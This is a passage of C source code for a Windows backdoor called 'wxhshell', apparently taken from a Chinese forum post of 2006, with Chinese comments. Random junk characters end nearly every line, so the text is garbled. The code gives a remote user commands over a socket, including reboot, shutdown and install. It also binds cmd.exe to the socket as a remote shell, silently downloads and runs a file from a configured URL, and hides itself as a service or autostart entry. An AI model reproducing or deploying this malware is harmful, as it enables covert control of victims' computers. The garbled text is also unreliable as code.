  } E e&$9 )t  
  // 安装 O waXG/z~  
  case 'i': { __c_JU  
    if(Install()) 8hp]+k_y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YTh4&wm  
    else L?(rv.lb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bb `^,?m  
    break; mjHY-lK  
    } qm8RRDG  
  // 卸载 d2C:3-4  
  case 'r': { TZ2f-KI  
    if(Uninstall()) s30_lddD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q.AM  
    else z\5Nni/~6D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TI  
    break; 'a*IZb-M  
    } es]m 6A  
  // 显示 wxhshell 所在路径 N8vl< Mq  
  case 'p': { h`j gF  
    char svExeFile[MAX_PATH]; /XB1U[b  
    strcpy(svExeFile,"\n\r"); 0^z$COCv  
      strcat(svExeFile,ExeFile); uy{KV"%"^g  
        send(wsh,svExeFile,strlen(svExeFile),0); jwox?]f+  
    break; uSjMqfK  
    } X_F=;XF/  
  // 重启 mY( _-[W  
  case 'b': { !W7ekPnK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U8!njLC  
    if(Boot(REBOOT)) e8 .bH#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q4N$.hpb  
    else { MzG.Qh'z  
    closesocket(wsh); <|iU+.j\  
    ExitThread(0); ')V5hKb^  
    } !Ua#smZ  
    break; GAlO<Mu  
    } KRe=n3 1  
  // 关机 rl=_ "sd=  
  case 'd': { @~ L.m}GF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hf iM]^  
    if(Boot(SHUTDOWN)) STI3|}G*P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) b8*>k  
    else { ^B9wmxe  
    closesocket(wsh); |9 3%,  
    ExitThread(0); gjV&X N  
    } 91XHz14  
    break; .Dmvgi]  
    } /<Et   
  // 获取shell *1n:  
  case 's': { 5P!17.W'u  
    CmdShell(wsh); IM/\t!*7  
    closesocket(wsh); L\[jafb_`  
    ExitThread(0); "/"k50%  
    break; ='j  
  } d6VKUAk'7>  
  // 退出 nLg7A3[1v  
  case 'x': { [PT_y3'%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G#Ow>NJ  
    CloseIt(wsh); Y# #J  
    break; ~Zm(p*\T  
    } s>X;m.<  
  // 离开 ngjbE+  
  case 'q': { m.*+0NG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q~kwUZ  
    closesocket(wsh); u4'Lm+&O  
    WSACleanup(); uJ$,e5q  
    exit(1); >Z%^|S9  
    break; :xV&%Qa1  
        } 4 #N#[;M  
  } /a_|oCeC}  
  } SccU @3.X~  
?*;zS%93U9  
  // 提示信息 49m/UeNZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AVjtK  
} o v~m?Y]h  
  } ~0NZx8qG   
')+EW" e  
  return; I}=}S"v  
} ln.~>FO  
Mx }(w\\T  
// shell模块句柄 o%.cQo=v*  
int CmdShell(SOCKET sock) r4sR5p]|  
{ l?q^j;{Dw  
STARTUPINFO si; P dJ*'@~i  
ZeroMemory(&si,sizeof(si)); ^:#%TCJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f2=s{0SX0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hmo?gD<  
PROCESS_INFORMATION ProcessInfo; L[K_!^MZ  
char cmdline[]="cmd"; ){} #v&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |]Xw1.S.L  
  return 0; d~8Q)"6 [  
} [I9d  
CHz(wn  
// 自身启动模式 *Pl[a1=o  
int StartFromService(void) ?r+tU  
{ 9HE)!Col  
typedef struct 9`muk  
{  ;P_Zen  
  DWORD ExitStatus;  P/Z o  
  DWORD PebBaseAddress; ]~P?  
  DWORD AffinityMask; @lX)dY  
  DWORD BasePriority; OL>/FOH:Fx  
  ULONG UniqueProcessId; '54@-}D  
  ULONG InheritedFromUniqueProcessId; uFqH_04  
}   PROCESS_BASIC_INFORMATION; BSz\9 eT  
e.T5F`Du  
PROCNTQSIP NtQueryInformationProcess; -=RXhE_{  
2g$Wv :E3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K6X1a7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gLH(Wr~(a  
NJp;t[v.^  
  HANDLE             hProcess; FueJe/~t  
  PROCESS_BASIC_INFORMATION pbi; Uu(W62  
y^ :x2P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [{ pc1U-  
  if(NULL == hInst ) return 0; !>tXib]:  
.^uu* S_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (<CLftQKg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~(8A&!#,!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8C2t0u;Y .  
(GV6%l#I  
  if (!NtQueryInformationProcess) return 0; !EFd- fk  
;kbz(:wA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "hvw2lyp3  
  if(!hProcess) return 0; ZFzOW  
=mZw71,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /vMpSN|3  
b?$3jOtW  
  CloseHandle(hProcess); g#AA.@/Z  
~AO0(Lp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); | ] YT6-?.  
if(hProcess==NULL) return 0; (xTHin$  
R Q 8okA  
HMODULE hMod; 5s>9v  
char procName[255]; A1C@'9R*  
unsigned long cbNeeded; &jJgAZ!  
q\,H9/.0k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T:ck/:ZH  
NF.SGga  
  CloseHandle(hProcess); "*0 szz'  
g41LpplX  
if(strstr(procName,"services")) return 1; // 以服务启动 f,1rmX1  
5Z:HCp-aG  
  return 0; // 注册表启动 >|s=l`"Xz  
} j@DyWm/7  
@sDd:> t  
// 主模块 hYV{N7$U|  
int StartWxhshell(LPSTR lpCmdLine) Cfj*[i4  
{ %%_90t  
  SOCKET wsl; [bp"U*!9P  
BOOL val=TRUE; L.R  
  int port=0; 6Z"%vrH  
  struct sockaddr_in door; +)|2$$m  
{p-%\nOC  
  if(wscfg.ws_autoins) Install(); X;1q1X)K  
;2iZX=P`n  
port=atoi(lpCmdLine); $5A XE;~{  
vfjIpg%i  
if(port<=0) port=wscfg.ws_port; HCu1vjU(]  
UYPBKf]A9  
  WSADATA data; uODsXi{z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2PC4EjkC  
7+ysE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B8PF}Mf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #Kl;iY:n  
  door.sin_family = AF_INET; 3w@)/ujn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S HvML  
  door.sin_port = htons(port); My ^pQ]@  
e\h:==f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ka'MF;!rc  
closesocket(wsl); gW, ET  
return 1; #RSxo 4  
} XBc+_=)$  
%*uqtw8  
  if(listen(wsl,2) == INVALID_SOCKET) { uJWX7UGuz  
closesocket(wsl); KDhHp^IXQ  
return 1; =19]a  
} =_XcG!"  
  Wxhshell(wsl); 1#@'U90xf  
  WSACleanup(); e7;]+pN]J  
sJD"u4#y  
return 0; }'{(rU  
4?&=H *H:  
} %ry>p(-pC(  
K'tz_:d|  
// 以NT服务方式启动 }O>IPRZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ''6"Xi|5  
{ 6?74l;  
DWORD   status = 0; j]P|iL  
  DWORD   specificError = 0xfffffff; 6Q`ce!~$  
\-B>']:R4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JdAjKN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zL|^5p`K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )SQ g  
  serviceStatus.dwWin32ExitCode     = 0; E|6|m8  
  serviceStatus.dwServiceSpecificExitCode = 0; ge` J>2  
  serviceStatus.dwCheckPoint       = 0; ZN?(lt)u9  
  serviceStatus.dwWaitHint       = 0; vQ h'C.  
qM`SN4C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZTun{Dw{  
  if (hServiceStatusHandle==0) return; qg|+BIi Uz  
 2AluH8X/  
status = GetLastError(); ,s2.l/5r;C  
  if (status!=NO_ERROR) YK-R|z6K  
{ P~#jvm!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N>z8\y  
    serviceStatus.dwCheckPoint       = 0; / [19ITZ  
    serviceStatus.dwWaitHint       = 0; 1Tl("XV3  
    serviceStatus.dwWin32ExitCode     = status; MVCCh+,GI  
    serviceStatus.dwServiceSpecificExitCode = specificError; C+iP @~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9GEcs(A*  
    return; X4TUi8ht!]  
  } 4e(@b3y  
itvwmI,m\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rfZA21y{?  
  serviceStatus.dwCheckPoint       = 0; F7hQNQu:  
  serviceStatus.dwWaitHint       = 0; 0uvL,hF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M]2 c-  
} {kzM*!g  
spI{d!c  
// 处理NT服务事件,比如:启动、停止 m&\Gz*)3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E,X,RM~ +D  
{ p-}:7CXP  
switch(fdwControl) 4S=lO?\"A  
{ #Z.JOwi  
case SERVICE_CONTROL_STOP: }a`LOBne  
  serviceStatus.dwWin32ExitCode = 0; '-x%?Ll  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J0oR]eT}  
  serviceStatus.dwCheckPoint   = 0;  ^ "f  
  serviceStatus.dwWaitHint     = 0; f]lDJ?+ M  
  { i6-K!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #=tWCxf=  
  } Z\Q7#dl  
  return; c1/x,1LnMf  
case SERVICE_CONTROL_PAUSE: uqnZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0eLK9u3<  
  break; ^\I$tnY`  
case SERVICE_CONTROL_CONTINUE: ?{2-,M0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]+l r  
  break; gu/Yc`S[  
case SERVICE_CONTROL_INTERROGATE: aJF`rLm  
  break; |WX4L7yrhK  
}; ob;oxJ@[c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %(]rc%ry0  
} <(^pHv7Q  
,i|f8pZ  
// 标准应用程序主函数 e,BJD>N ?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G pd:k  
{ ;CW$/^QNr5  
)Ga6O2:  
// 获取操作系统版本 M]'AA Uo8  
OsIsNt=GetOsVer(); 1-n0"lP~4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M~6I-HexT|  
/<C=9?Ok  
  // 从命令行安装 IlrmXSr  
  if(strpbrk(lpCmdLine,"iI")) Install(); ' 4"L;){:L  
O^GXFz^  
  // 下载执行文件 3:gk:j#  
if(wscfg.ws_downexe) { 5Zov< +kE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Px8E~X<@  
  WinExec(wscfg.ws_filenam,SW_HIDE); BCbW;w8aI  
} /[s$A?  
u"%fz8v  
if(!OsIsNt) { ?,NAihN]  
// 如果时win9x,隐藏进程并且设置为注册表启动 jt3SA [cy  
HideProc(); j{=%~  
StartWxhshell(lpCmdLine); OrBFe *2y  
} c>g%oE  
else W@tLT[}CG  
  if(StartFromService()) 6PH*]#PfoD  
  // 以服务方式启动 )N/KQ[W  
  StartServiceCtrlDispatcher(DispatchTable); 7Tbkti;  
else cG?266{g  
  // 普通方式启动 B_S3}g<~  
  StartWxhshell(lpCmdLine); bo2Od  
RB"rx\u7K  
return 0; NO$Nl/XM  
}
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只看该作者 1 发表于: 2006-10-10
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